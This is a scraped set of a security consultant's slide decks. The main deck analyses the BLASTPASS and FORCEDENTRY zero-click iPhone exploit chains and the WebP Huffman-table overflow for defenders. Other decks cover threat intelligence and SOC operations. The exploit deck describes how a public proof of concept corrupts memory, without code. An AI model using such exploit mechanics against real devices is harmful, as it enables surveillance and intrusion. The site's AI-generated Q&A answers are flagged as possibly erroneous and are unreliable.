Reversed? Christopher Crowley –Montance® LLC•Background: root on (Ultrix/VMS) employer systems at 15 years old (80s #CYBER) •Sectors: Defense, Education, Energy, Government, Software Development, Financial, Telecom… •SANS Senior Instructor. Consultant, SOC-Class.com author. Teaches: SEC575, SEC511, SEC504,… Montance® LLC 3 Christopher Crowley –Montance® LLC•Slide deck download: https://montance.com/pres •SANS website will also have it •Please use this information for yourself, your organization, and to help your community •@CCrowMontance (infrequent) •https://mgt517.com/linkedin Montance® LLC 4 Quick History: CVE-2021-30860 -FORCEDENTRY SOC-Class.com || Montance® LLC5Copyright 2023 Montance® LLC -All Rights Reserved. All Wrongs Reversed? Information Sources•There’s a history of Citizen Labs tracking NSO: •Citizen Labs FORCEDENTRY 2021-09-13 blog: https://mgt517.com/cl-forcedentry earlier 2021-08-24 blog post: https://mgt517.com/cl-forcedentry-0 •Apple Security Update 2021-09-13: https://mgt517.com/apple-forcedentry ^^^ Link shortener links are case sensitive Zero-click Zero Day•Dangerous zero-click zero-day exploit discovered •Zero-day: exploit found without a patch available •Zero-click: user interaction not required •Patch Now! for CVE-2021-30860 and CVE-2021- 30858 to defend iOS, macOS, watchOSagainst the exploit •Zero day exploit code dubbed FORCEDENTRY by Citizen Labs (who disclosed it to Apple) Attribution: NSO Trivia: a Pegasus is not a Unicorn SOC-Class.com || Montance® LLC8Copyright 2023 Montance® LLC -All Rights Reserved. All Wrongs Reversed? Attribution in General•First, attribution is tricky business and may not make much difference to you. Would your actions change if it was NSO or NSA who developed this? •The disclosure of a zero day means that other capable threat actors are aware of this flaw and may quickly develop an exploit prior to patch deployment •Pegasus install cited in Citizen Labs post, other details withheld in an OPSEC maneuver to aid victim discovery; likely also substantial unknowns on the rest of the details (** will discuss their previous data) Attribution in General•US Defense Science Board schema: $T, $M, $B •Reuse, discover, and create/introduce flaws •This is the work of $M level actor •Difficult and damaging, but not an existential threat for most, nor the creation of a flaw •Sad state of affairs, but zero-days happen, you should already be ready to mobilize and shift gear$B create $M discover $T reuse Value of Attribution•If you are in a position to (or have to regardless) investigate, there are a large number of specific IOCs posted in the Citizen Labs blogs •Previously cited operators of Pegasus infrastructure, and the specific IP address deployments of those operators •Review IOCs from CL post, also @craiu (Kaspersky) detailed thread on twitter for attachment inspection: https://mgt517.com/forcedentry-forensic •This list of resources is constantly shifting Citizen Labs Basis for NSO Attribution•Phone was infected with Pegasus spyware •NSO is a software provider, Pegasus is its product •FORCEDENTRY (’21) CASCADEFAIL: •Incomplete deletion of data from DataUsage.sqlite •Rationale: to reduce evidence of spyware activity, the ZPROCESS table is modified, however the ZLIVEUSAGE table isn’t modified and the discrepancy is useful •Citizen Lab blog says they’ve only observed this from Pegasus; SQL query when performing forensic analysis to determine if the phone you are assessing is exhibiting same behavior: SELECT "CASCADEFAIL" FROM ZLIVEUSAGE WHERE ZLIVEUSAGE.ZHASPROCESS NOT IN (SELECT Z_PK FROM ZPROCESS); Citizen Labs Basis for NSO Attribution•FORCEDENTRY (‘21) setframed: •Distinctive process name “setframed” as part of the July 2020 Al Jazeera targeted attacks (also attributed by Citizen Lab to NSO) forensic analysis performed. Citizen Labs blogpost indicates this detail wasn’t publicly disclosed previously •Blog indicates this is a process name associated with this intrusion spyware Citizen Labs Basis for NSO Attribution•BLASTPASS (‘23): •“Citizen Lab found an actively exploited zero-click vulnerability being used to deliver NSO Group’s Pegasus mercenary spyware.” •“We expect to publish a more detailed discussion of the exploit chain in the future.” From: https://mgt517.com/blastpass •No details, technical corroboration, etc. •I asked for more details: no response; didn’t expect it tbh •So, confidence and trust based on previous assessments BLASTPASS: Limited Exploit Details SOC-Class.com || Montance® LLC15Copyright 2023 Montance® LLC -All Rights Reserved. All Wrongs Reversed? Relationship between CVE-2023-41061 & CVE-2023-41064 SOC-Class.com || Montance® LLC16Copyright 2023 Montance® LLC -All Rights Reserved. All Wrongs Reversed? 41061: Wallet / 41064: ImageIO•Citizen labs found the exploit, did preliminary analysis, provided details to Apple •Citizen Lab cited as CVE-2023-41064 credit •Apple appears to have identified the blastdoorcircumvention (CVE-2023-41061) within PassKit •CVE-2023-41064 is also be related to CVE- 2023-4864 (will discuss later) CVE-2023-41061 Validation Issue Apple Wallet SOC-Class.com || Montance® LLC18Copyright 2023 Montance® LLC -All Rights Reserved. All Wrongs Reversed? iOS Wallet / PassKitUpdateWallet: “A validation issue was addressed with improved input validation.” •CVE credit is to “Apple” (patch announcement for iOS 16.6.1: https://mgt517.com/41061) CVE-2023-41064 Buffer Overflow ImageIO SOC-Class.com || Montance® LLC20Copyright 2023 Montance® LLC -All Rights Reserved. All Wrongs Reversed? Buffer Overflow•Buffer overflows: a category of programmatic flaw. If the space allocated to store process the result value is inadequate the resultant write of data can result in overflowing a buffer in memory. •This fix is addressing the starting point of a zero-click exploit chain, let’s look into that in a little more detail CVE-2023-41064: ImageIO•Buffer Overflow patched by CVE-2023-41064 •Citizen lab blog cites malicious images sent via iMessage to victim, and the corresponding PassKitflaw as part of the exploit chain •https://mgt517.com/blastpass •iMessage delivery > PassKitprocessing outside blastdoor> ImageIOexploit Zero clicks I give… SOC-Class.com || Montance® LLC23Copyright 2023 Montance® LLC -All Rights Reserved. All Wrongs Reversed? Zero Clicks•For mobile devices, there isn’t a service side opportunity for remote code execution •Mobile Attack surface presoI gave in 2020: https://mgt517.com/mobile-attack •Attackers seeking remote code execution are largely relegated to messaging apps to process content without user interaction (anyone remember Stagefright?) Blastdoor(1 of 3)•In response to previouszero click exploits, Apple developed blastdoorfor iOS 14 •This is a “tainted data” processor which severely limits the processing done on data sent over SMS/iMessage as ingested to phone •Based on Google Project Zero writeup •https://mgt517.com/p0-blastdoor •BLASTPASS name: PassKitviolating blastdoor Blastdoor(1b of 3)From: https://mgt517.com/p0-blastdoor (Speculated) PassKit involvement required here: cue 41061 Blastdoor(2 of 3)•(‘21) apsd-> identitydservicesd-> imagent-> MessageBlastDoorService-> imagent-> IF:serializedData? -> IMTranscoderAgent<<< •(‘21) In the “CL-Pearls” writeup they discuss two types of crashes involving IMTranscoderAgent •Type1: copyGifFromPath:toDestinationPath:errorin ImageIOto render .psdfiles (27 of the same sent) •Type2: copyGifFromPath:toDestinationPath:errorin CoreGraphicsfor decoding JBIG2 data in PDF file (4 different PDF files sent) Blastdoor(3 of 3)•PassKitdetails for pass parsing •Little public material available •Similar scenario as in FORCEDENTRY •Special attachment type (wallet) requires moving data out of blastdoorprotected data segment into the wallet context, which enabled the exploitation to take advantage (this is speculated / unverified) •Satisfying item #4 of the list of items (on the next slide) Zero Click Necessary Components•According to Project Zero post, zero-click needs: •Memory corruption vulnerability (buffer overflow in ‘23) •Remotely break ASLR (unknown currently) •Code execution (unknown currently) •Sandbox escape (PassKitin ‘23) •Pointer Authentication Code (PAC) evasion •To overcome blastdoor’sprotections: overseeing the process of ingesting iMessages, dyldshared cache rerandomized for each service start, ASLR brute mitigation by doubling restart times between each crash Zero Click Necessary Components•According to Project Zero post, zero-click needs: •Sandbox escape (Presumed: PassKitin ‘23) •My speculation on the PassKitand related sandbox specifications is there’s some service (XPC seems reasonable) that enables transfer of attachment to PassKitand starts the exploit Zero Click Necessary ComponentsMemory corruption vulnerability (CVE-41064 in ‘23) Remotely break ASLR (unknown currently) Code execution (unknown currently) Sandbox escape (CVE- 41061 / PassKitin ‘23) PAC (discussed in p0 blog post) PAC•That blog post indicates that pointer authentication codes (PAC) weren’t an issue for that specific exploit under assessment (iOS 12.4) •ARM protection as of ARM v8.3 that associates code calling code to protect against ROP / JOP style execution •Requires exploit to develop primitives in complicated ways to assure the calls are accepted as valid (I.Beerpost on ImageIOIPC) Exploit Info & Speculation•Synthesizing info from two blog posts from citizen labs, Apple report, the Project Zero blogpost on the functional teardown of Blastdoor, PassKitflaw •We have an understanding of the majority of the components necessary to accomplish the CitizenLab reported •Buffer overflow cited •Movement from PassKitflaw to WebP CVE-2023-41064 (and CVE-2023-4863) Ready for the curveball? SOC-Class.com || Montance® LLC34Copyright 2023 Montance® LLC -All Rights Reserved. All Wrongs Reversed? WebPLossless Encoding Patch•Presuming PassKit’s“validation issue” was leveraged to get to ImageIO, scant details related to 41064, except for something interesting… •ImageIOsupports WebP; Apple reported WebP bug on Sept. 6, 2023; urgent Chrome patch •Ben Hawkes, “Based on this, it seems likely that the BLASTPASS vulnerability and CVE-2023-4863 ("the WebP0day") are the same bug.” •https://mgt517.com/hawkes-webp WebPAlgorithm Logic Flaw•WebPfix details: https://mgt517.com/webp-oob •Huffman table (tree structure originally) used to perform lossless compression •Vulnerable webPcode is from buffer sizes defined based on fixed size tables for memory allocation; resulting in overflow •Fix checks size; allocates space for larger requests Down the WebP-Hole (1 of 3)•Processing is intended to deliver lossless image encoding and provide compression to reduce size •Starts getting mathy… to reduce image size, frequency analysis is performed on image pixels •Specific output bits are mapped to a tree tracking sequences, frequently occurring bits are reduced to smaller sequences than the original bits •The bit length provides a unique mapping, but the Huffman table is needed to recover original data down the rabbit hole, but make it a webPhole instead of rabbit, using Huffman encoding Image from: dream.ai Down the WebP-Hole (2 of 3)•Which means the size would increase, so the Huffman tables are also compressed the same way •Hawkes hypothesized (VP8L is another name for webp) VP8LBuildHuffmanTable/BuildHuffmanTable method call would be the candidate for shifting huffman_table pointer past pre-calculated buffer size (since the pre-calculation was fixed in the patch this is targeted) •He then tried to create a table that would create an exploit situation down the rabbit hole, but make it a webPhole instead of rabbit, using Huffman encoding Image from: dream.ai Down the WebP-Hole (3 of 3)•As it turns out, even with some related code (Mark Adler enough.creferenced by Google) he couldn’t create a table that was vulnerable •enough.cwas only 8-bit color code, so dead end •Spends lots of time creating tables, but couldn’t create invalid tables •Modifies the ReplicateValues, finally established a condition creating an invalid table down the rabbit hole, but make it a webPhole instead of rabbit, using Huffman encoding Image from: dream.ai WebP-Hole Exploit POC•In order to establish the invalid table, he’s dealing with the last 5 tables, but can’t generate tables big enough to cause errors •So, the POC builds 4 tables to fill the space expected for the 5 tables, then adds a final invalid table with ReplicateValue which causes the out of bounds write to occur. down the rabbit hole, but make it a webPhole instead of rabbit, using Huffman encoding Image from: dream.ai WebP-Hole Exploit POC•This creates the invalid fifth table, corrupting memory, but still within the constraints of the math for the Huffman tables •From craft.c: down the rabbit hole, but make it a webPhole instead of rabbit, using Huffman encoding Image from: dream.ai WebP-Hole Exploit POCdwebpoutput: down the rabbit hole, but make it a webPhole instead of rabbit, using Huffman encoding Image from: dream.ai Hawkes Post @mistymntncop POC WebP-Hole Exploit POCDwebpoutput: down the rabbit hole, but make it a webPhole instead of rabbit, using Huffman encoding Image from: dream.ai Hawkes Post @mistymntncop POC WebPPervasive Attack Surface•WebPattack surface is extensive •CVE-2023-4863 (chrome) and CVE-2023-5129 (later rejected as they pushed libwebpgenerally back into 4863) •At the time of writing of several of the initial analyses, it was speculated that Android was vulnerable to it •Acknowledged in October update: WebPFlaw Discovery Speculation•Hawkes then talks about trying to find this bug through fuzzing and says none of the current fuzzerscould do it; speculates manual effort •He built the invalid table because of the patch •A mathy-math muthamatherdeveloped the exploit as a novel concept against Huffman tables •My thoughts: WebPis relatively new, in ImageIO, open source, so good target / attack surface •https://mgt517.com/hawkes-webp Unknowns & Expected Forthcoming Information SOC-Class.com || Montance® LLC46Copyright 2023 Montance® LLC -All Rights Reserved. All Wrongs Reversed? Speculation on Future Patches•We know a fraction of the details •We don’t know: •the PassKitblastdoorescape details •ASLR and PAC details •Keep up w/ details on the related CVE: •Google WebPrelated, probably other image compression math logic •Hardening of blastdoorfurther Lockdown Mode SOC-Class.com || Montance® LLC48Copyright 2023 Montance® LLC -All Rights Reserved. All Wrongs Reversed? Mitigation Offering From Apple•Lockdown mode would thwart attack •This was speculated by Citizen Lab, then confirmed by Apple for this exploit •If you are paranoid, and/or have the sort of exposure discussed here, use Lockdown mode Recap SOC-Class.com || Montance® LLC50Copyright 2023 Montance® LLC -All Rights Reserved. All Wrongs Reversed? Zero-click Zero Day•Dangerous zero-click zero-day exploit discovered •Zero-day: exploit found without a patch available •Zero-click: user interaction not required •Complicated exploit chain •Bypassing blastdoor, ASLR, and PAC •Zero day exploit code dubbed BLASTPASS by Citizen Labs (who disclosed it to Apple) •Lockdown mode would have prevented it Your Action Items•It’s complicated, more details in the various blog posts •Think about the relationship between initial entry (PassKitin this case) and ultimate exploitation (WebPin this case) •See similar post from a couple months before BLASTPASS: https://mgt517.com/web-gpu Safari -> GPU exploitation by Ian Beer (iOS 16.4.1 and 16.5 fixed these) •Chain: CVE-2023-28205, CVE-2023-28206, CVE-2023-32409 Christopher Crowley –Montance® LLC•@CCrowMontance •Slide deck (this and others) https://montance.com/pres (as in presentations) at my website •Questions? Montance® LLC 53 --- ## Source: https://montance.com/questions.php?id=173 [![pdf](content/images/icons/pdf.svg) Cyber Solutions Fest 2023: SOC & SOAR](unavailable) Cyber Solutions Fest 2023 Presentation by Christopher Crowley and many others (2023-10-25) This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: Overview A: Presentation details for Cyber Solutions Fest 2023 ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://montance.com/questions.php?id=172 [![pdf](content/images/icons/pdf.svg) SOC Survey - The Hack Summit](unavailable) SOC Survey - The Hack Summit Presentation by Christopher Crowley (2023-10-19) This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: Overview A: Presentation details for SOC Survey - The Hack Summit ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://montance.com/questions.php?id=171 [![pdf](content/images/icons/pdf.svg) SOC Panel: Finding, Keeping, and Caring for the Best People](unavailable) SOC Panel: Finding, Keeping, and Caring for the Best People Presentation by Christopher Crowley; Russ McRee; Alissa Torres; Carson Zimmerman (2023-08-11) This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: Overview A: Presentation details for SOC Panel ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://montance.com/questions.php?id=137 [![pdf](content/images/icons/pdf.svg) DarkReading Mandiant Threat Intel.pdf](https://drive.google.com/file/d/1khP-x1wnDIwbN3OkWARL7D_OkWouVFDo/view?usp=drive_link) Darkreading Mandiant Threat Intel Presentation covering Threat Intel titled 'Darkreading Mandiant Threat Intel'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What is the primary value of Threat Intelligence according to Mandiant? A: To shift from reactive to proactive defense. * Q: What are the three types of Threat Intelligence? A: Tactical, Operational, and Strategic. * Q: What is 'Attribution' in the context of Mandiant's intel? A: Identifying the specific threat group (e.g., APT29, FIN7) behind an attack. * Q: How does Mandiant gather its intelligence? A: Through frontline incident response engagements and global sensor networks. * Q: What is the 'Attack Lifecycle'? A: The stages an attacker goes through, often mapped to the Cyber Kill Chain or MITRE ATT&CK. * Q: What is the recommendation regarding 'Indicators of Compromise' (IOCs)? A: They are useful for detection but have a short shelf life; behavioral intel is more durable. * Q: Who should consume Strategic Intelligence? A: Executive leadership and the board. * Q: What is 'Operational Intelligence' used for? A: To guide ongoing investigations and prioritize alerts. * Q: What is the role of 'finished intelligence'? A: To provide context, analysis, and actionable recommendations, not just raw data. * Q: What sectors are most targeted according to recent trends? A: Finance, Healthcare, and Government. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/1khP-x1wnDIwbN3OkWARL7D_OkWouVFDo/view?usp=drive_link **[PDF Extracted from Google Drive: https://drive.google.com/file/d/1khP-x1wnDIwbN3OkWARL7D_OkWouVFDo/view?usp=drive_link]** Using Threat Intel to Mitigate Third Party Risk Montance® LLC 1 Christopher Crowley•Consultant: Montance® •Author of SOC -Class: Design, Build, Operate and Mature your Sec. Ops. Center •Author SOC -Survey: 2017 -2021 •SANS Institute Senior Instructor •Sectors: Defense, Education, Energy, Government, Financial, Software Dev., Telecom, … Montance® LLC 2 Background 3 Prediction vs. Discovery•Important distinction but primarily addressing discovery (after the fact) •Discovery: •Example: after some discovery & assessment TI extracted and shared •Prediction: •Example: software from ZYX company (currently trusted) will be bad on MM/DD/YYYY date •Generally not possible currently Copyright 2022 Montance® LLC 4 Risk Copyright 2022 Montance® LLC - All Rights Reserved. All Wrongs Reversed? SOC-Class.com || Montance® LLC5 Classic Equation•Notional: Threat x (Vulnerability – Mitigation) = Risk •Better to eliminate vulnerability where possible •Mitigation is that we can minimize but not eliminate vulnerabilities •Reduce threat’s access to the vulnerab le systems •Detect compromise through adjusting configuration of vulnerable system Copyright 2022 Montance® LLC 6 Simple Visualization of Classic Equation Threat •Capability •Tools •People •Access Us •Info Systems •Vulnerabilities Copyright 2022 Montance® LLC 7Risk Threat Intel to Reduce Risk•Threat Intelligence is the study of their capability, tools, people, and access •To prioritize resource deployment •Prioritize scarce resources to most likely adversary interruption and most effective organization mitigation •Both ongoing and immediate usefulness Copyright 2022 Montance® LLC 8 Threat Intel 9 Examples•Threat Intel: info about attackers •Useful example •USDOD DSB $T$M$B club structure •More detailed e xample: •MITRE ATT&CK has attribution and enumeration of actors •Derived from observed attributes of actors •Normalized structure and naming, (re)sharing of intel assessments for basis of attribution Copyright 2022 Montance® LLC 10 $B create $M discover $T reuse Sources•ATT&CK (again) •Info sharing with trusted partners (ex. ISACs) •Open source collection OSINT •Your own research, typically of OSINT •Vendors reselling information •Analysis/research of non -open sources •Relevant OSINT for you Copyright 2022 Montance® LLC 11 Third Party Risk 12 Software•Whatever software you install on your computers could be malicious •Source, distribution point •Solarwinds : source was compromised and trusted software became malicious •Installation into network granted attacker access Copyright 2022 Montance® LLC 13 Hardware•Hardware attacks are feasible •Vendor could be compromised •Actor swaps in a modified network card •Vendor outsources firmware development •Assessment of hardware is complicated •Most companies cannot •Purchase from trusted supply chain, presume it is trustworthy Copyright 2022 Montance® LLC 14 Human (Individual Actor)•Insiders (employees / contractors) are third parties within the organization •Act in own self -interest •Financial •Ideological Copyright 2022 Montance® LLC 15 Human: Political or Organized crime•Regional, national, and global entities organizing activity to target your organization •Usually more capable and persistent than individual actor •Objectives are still •Financial •Ideological Copyright 2022 Montance® LLC 16 Extrastructure•Cloud •Domain registration and hosted DNS •Entire attack surface consideration of support organizations and providers •Example: operating systems used to run the information systems your organization uses •Apple iOS, Kubernetes, Linux, Microsoft Windows, … Copyright 2022 Montance® LLC 17 Mergers & Acquisitions•It was someone else’s infrastructure •Now you "own" it •Can affect your supply chain •Threat actors potentially gain access and people in new organization Copyright 2022 Montance® LLC 18 TI + 3PR Examples 19 Software Updates Risk•(Excluding the vulnerabilities where the organization didn’t patch with available patches) •Updates could be modified prior to distribution •Solarwinds or XCode Ghost examples •Updates modified during delivery •Intentionally malicious or compromised network •Repository infrastructure compromised •Install of malicious update post system exploit Copyright 2022 Montance® LLC 20 Technology Procurement Risk•Purchasing new software represents a vector for introduction of malicious software •Long term oriented actor sells at great prices to gain access and decrease competition •Trusted relationship with vendor is essential •Creates dependency for organization, and increases attack surface Copyright 2022 Montance® LLC 21 Employee Risk•Any person with data access •Elevated accounts can modify / manage system •Financial objectives •Simple fraud / theft incentive for personal gain •“Payback” for perceived inadequate compensation •Ideological objectives •Control / power •Risk taking / thrill seeking •Moral imperative Copyright 2022 Montance® LLC 22 Government Risk •Governmental laws / regulations can mandate transfer of specific information •Lawful collection of evidence of any type •Financial record keeping and reporting requirements Copyright 2022 Montance® LLC 23 Cloud Risk •*AAS Something as a service – whatever they’re providing as a service has risk associated with it •Not different than if your org ran it, but reduced visibility and control •Unintended sharing through misconfigurations •Unmanaged accounts, credential inclusion Copyright 2022 Montance® LLC 24 M&A Risk•Poorly documented and configured systems •Unvetted staff (human individual) •Acquisition of new threats: regional governmental, ideological, or criminal threat actors (organized human) Copyright 2022 Montance® LLC 25 Conclusion 26 Conclusion•Risk is assessed by looking at threats to the organization and the weaknesses within the organization •Understanding the threats will help to prioritize deployment of protective resources •A never -ending effort to comprehend changing threat actor activity Copyright 2022 Montance® LLC 27 --- ## Source: https://montance.com/questions.php?id=170 [![pdf](content/images/icons/pdf.svg) TrendMicro](https://drive.google.com/file/d/1HOKv-aQyLfLQI_ClYEUooNt1AJqRbA6c/view?usp=drive_link) TrendMicro Presentation by Christopher Crowley (2023-05-06) This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: Overview A: Presentation details for TrendMicro ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/1HOKv-aQyLfLQI_ClYEUooNt1AJqRbA6c/view?usp=drive_link **[PDF Extracted from Google Drive: https://drive.google.com/file/d/1HOKv-aQyLfLQI_ClYEUooNt1AJqRbA6c/view?usp=drive_link]** Effective Operations in Business Alignment Montance® LLC 1 Christopher Crowley•Consultant: Montance® •Author of SOC-Class: Design, Build, Operate and Mature your Sec. Ops. Center •Author SOC-Survey: 2017-2023 •SANS Institute Senior Instructor •Sectors: Defense, Education, Energy, Government, Financial, Software Dev., Telecom, … Copyright Montance® LLC 2 2023 SANS SOC Survey 3 Cost Alignment –2023 SOC SurveyCopyright 2023 Montance® LLC 4 31.0% 49.5%19.5%Have you calculated a "cost-per-record" from an actual incident? Yes No Unknown Issues –2023 SOC SurveyCopyright 2023 Montance® LLC 5 16.0%14.1%13.7%12.8%11.2%8.3%7.3%5.4%4.8%2.9%2.6%1.0% 0% 2% 4% 6% 8% 10% 12% 14% 16% 18%Lack of context related to what we are…Lack of skilled staffLack of enterprise-wide visibilityLack of automation and orchestrationHigh staffing requirementsLack of management supportLack of processes or playbooksSilo mentality between security, IR,…Too many tools that are not integratedToo many alerts that we can't look into…OtherRegulatory or legal requirementsWhat is the greatest challenge …full utilization of your SOC capabilities? Lack of context related to what we are seeing Risk-Managed Systems 6 The Wilderness•A lot of your systems are not assured of being managed •Do you know how many are? Are they supposed to be? •Do you report this? •Metric: % wilderness Copyright 2023 Montance® LLC 7 Well Managed•% well-managed •Characteristics •Security software •Config mgmt& ownership •Detections in place •Hunting performed Copyright 2023 Montance® LLC 8 Well Managed vs. Wilderness•Observed, confirmed “managed” the rest is wilderness •Could overlay additional data into this binary context •Incidents, Vulnerabilities, Business Units, … Copyright 2023 Montance® LLC 959%41%Observed Systems State 2023-April Managed Wilderness 2235 3193 5428 Total observed Wilderness Managed The Perpetrator Revealed: Us•Who’s building all these systems where they can’t unequivocally identify what it is, who owns it, what value it has, and how to protect it? •The answer to that: Us •We (IT, Security, Business) are culpable for not deploying robust defensible systems Copyright 2023 Montance® LLC 10 Cybersecurity Operations 11 SOC Functional ViewCopyright 2023 Montance® LLC 12 Cross-Functional Flowchart Next Progression Next Section Steering Committee Command Center Monitoring Threat Intelligence Incident Response Forensics Self Assessment Receive Incident Reports Review Metrics Reports Review Pen Test Reports Review Vulnerability Status Review Configuration Monitoring Information Review Exercise Results Adequate Performance? Acceptable Risk? Review Updated Threat Information Updated Business Information Appropriate Changes? Update Policy Modify Internal Process Change Required? Modify Internal Process Accept Incoming Request Deconflict Validate Report Deconflict Update Existing Incident Direct Response Actions Create Incident Notify Constituents Modify Internal Process Incident Declaration Collect Data Validate Data Parse Data Correlate Data Investigate Alert Data Mining aka Hunting Data Sharing Modify Internal Process Collect Open Source Data Track Adversaries Mine Internal Data Disseminate Intelligence Internally Attribute Event to Adversary Modify Internal Process Investigate Contain Eradicate Coordinate Report Modify Internal Process Network Host Reverse Engineering Modify Internal Process Vulnerability Assessment Configuration Management Penetration Testing Exercises E-Discovery Back to Flowchart Steering Committee Command Center Monitoring Threat Intelligence Incident Response Forensics Self Assessment Receive Incident Reports Review Metrics Reports Review Pen Test Reports Review Vulnerability Status Review Configuration Monitoring Information Review Exercise Results Adequate Performance? Acceptable Risk? Review Updated Threat Information Updated Business Information Appropriate Changes? Update Policy Modify Internal Process Change Required? Cross-Functional Flowchart Next Progression Next Section Back to Flowchart Steering Committee Command Center Monitoring Threat Intelligence Incident Response Forensics Self AssessmentModify Internal Process Cross-Functional Flowchart Accept Incoming Request Deconflict Validate Report Deconflict Update Existing Incident Direct Response Actions Create Incident Notify Constituents Next Progression Next Section Back to Flowchart Steering Committee Command Center Monitoring Threat Intelligence Incident Response Forensics Self AssessmentModify Internal Process Cross-Functional Flowchart Incident Declaration Correlate Data Investigate Alert Data Mining Data Sharing Collect Data Validate Data Parse Data Next Progression Next Section Back to Flowchart Steering Committee Command Center Monitoring Threat Intelligence Incident Response Forensics Self AssessmentModify Internal Process Cross-Functional Flowchart Collect Open Source Data Track Adversaries Mine Internal Data Disseminate Intelligence Internally Attribute Event to Adversary Next Progression Next Section Back to Flowchart Steering Committee Command Center Monitoring Threat Intelligence Incident Response Forensics Self AssessmentModify Internal Process Cross-Functional Flowchart Investigate Contain Eradicate Coordinate Report Next Progression Next Section Back to Flowchart Steering Committee Command Center Monitoring Threat Intelligence Incident Response Forensics Self AssessmentModify Internal Process Cross-Functional Flowchart Network Host ReportAnalyze evidenceAssure Evidence IntegrityAcquire Evidence Reverse Engineering E-Discovery ReportAnalyze evidenceAssure evidence integrityAcquire evidence Retain DataProcess and deliver dataAcquire evidenceScope of request ReportAnalyze evidenceAssure evidence integrityAcquire evidence Next Progression Next Section Back to Flowchart Steering Committee Command Center Monitoring Threat Intelligence Incident Response Forensics Self Assessment Modify Internal Process Cross-Functional Flowchart Vulnerability Assessment Penetration TestingDiscover intelligenc e on orgModel Adversary activityCoordinate with operations and control centerAssess Systems Exercise Configuration ManagementManage exceptionsTrack Remidiatio nCorrelate new vul.to assetsScan assets for known vul. Assess and approve user exceptionsCreate baselines and standardsAssess changes of systemsChange approval process Improve user performan ceAssess user defensive prstureAssess DR & BCPConduct exercises Next Progression Next Section Back to Flowchart Impact Quantification 21 Copyright Christopher Crowley Security Operations 22 Incident Impact Quantification Charts Requirements •SOC staff and Steering Committee informed of and trained on meanings of •Low, Moderate, High •Functional, Information, and Recoverable •There should be written guidance with examples provided for analystsGuidance for Impact Assessment Copyright Christopher Crowley Security Operations 23 Impact Quantification 3 5 9 Low Moderate High 5 Functional 15 25 45 7 Informational 21 35 63 9 Recoverable 27 45 81Incident Impact Quantification Example of an IncidentRequirements Current Incident 73 25+21+27Org’s defined system valueOrg’s defined impact valueSystem #8 – Accounts Payable – Check Writing Copyright Christopher Crowley Security Operations 24 Impact Quantification 3 5 9 Low Moderate High 5 Functional 15 25 45 7 Informational 21 35 63 9 Recoverable 27 45 81Info Graphic for Reporting StatusRequirements System #8 – Accounts Payable – Check Writing Incident #2023-04-05-012: 09:30 update: Current Impact Value: 73 Max impact: 300 Copyright Christopher Crowley Security Operations 25 Impact Quantification System Impact QuantificationRequirements •Risk register or CMDB aligned system list •Or SOC driven groupings •Once defined, integrate into asset inventory, ticketing, SIEM, … Use Case 26 Cyber Use Case Definition A Cybersecurity Use Case describes a relevant scenario of compromise and potential method(s) of detecting this offensive activity. @CCrowMontanceBusiness relevance Characteristics Artifacts Detection Enrichment Implementation Assessment Review The Steps to Build a Use Case •Identify scenario of interest and business relevance •Characteristics of scenario (decompose it) •Related Artifacts •Detection opportunities in data •Enrichment opportunities in data •(Threat Info, Correlation) •Implementation •Monitoring / Assessment •Revision / Review / ExpirationBusiness relevance Characteristics Artifacts Detection Enrichment Implementation Assessment Review https://mgt517.com/use-case Hunting 29 Hunting •Hunting is reviewing available data for indicators of suspicious items worthy of further investigation •Skeptical inspection assuming the alerting failed drives confidence that the alerting covers all cases •An output from hunting: ideas for engineered detections for cybersecurity use cases •Use cases are operational implementation of ideas developed / discovered during hunting Operating in Alignment 31 Well Aligned Operations•Build systems with appropriate context •Requires business alignment by the SOC •Requires integration with existing business workflows at their pace •Quantitative negotiation to keep business focused, not needlessly shifting cyber priorities •Plus keeping up when business shifts, by being flexible and adaptable •Requires constant communication, adjustment, and recalibration Copyright 2023 Montance® LLC 32 --- ## Source: https://montance.com/questions.php?id=169 [![pdf](content/images/icons/pdf.svg) 2023 SOC/SOAR Solutions Forum](unavailable) 2023 SOC/SOAR Solutions Forum Presentation by Christopher Crowley and many others (2023-03-17) This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: Overview A: Presentation details for 2023 SOC/SOAR Solutions Forum ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://montance.com/questions.php?id=136 [![pdf](content/images/icons/pdf.svg) Informa Wiz DevSecOps.pdf](https://drive.google.com/file/d/1k_N5M0NoOznU-Hf_RnAQp3f4IlrBVVG4/view?usp=drive_link) Informa Wiz DevSecOps Presentation covering DevSecOps titled 'Informa Wiz DevSecOps'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What is the primary value proposition of Wiz? A: Complete visibility into cloud risk without agents. * Q: What is 'Agentless Scanning'? A: Connecting to the cloud environment via API/Snapshot to assess workloads without installing software on them. * Q: What is the 'Security Graph'? A: A visualization of the relationships between assets, identities, and risks to identify toxic combinations. * Q: What is 'Toxic Combination'? A: The intersection of a vulnerability, a misconfiguration, and high privileges/exposure that creates a critical risk. * Q: How does Wiz support 'Shift Left'? A: By integrating with CI/CD pipelines 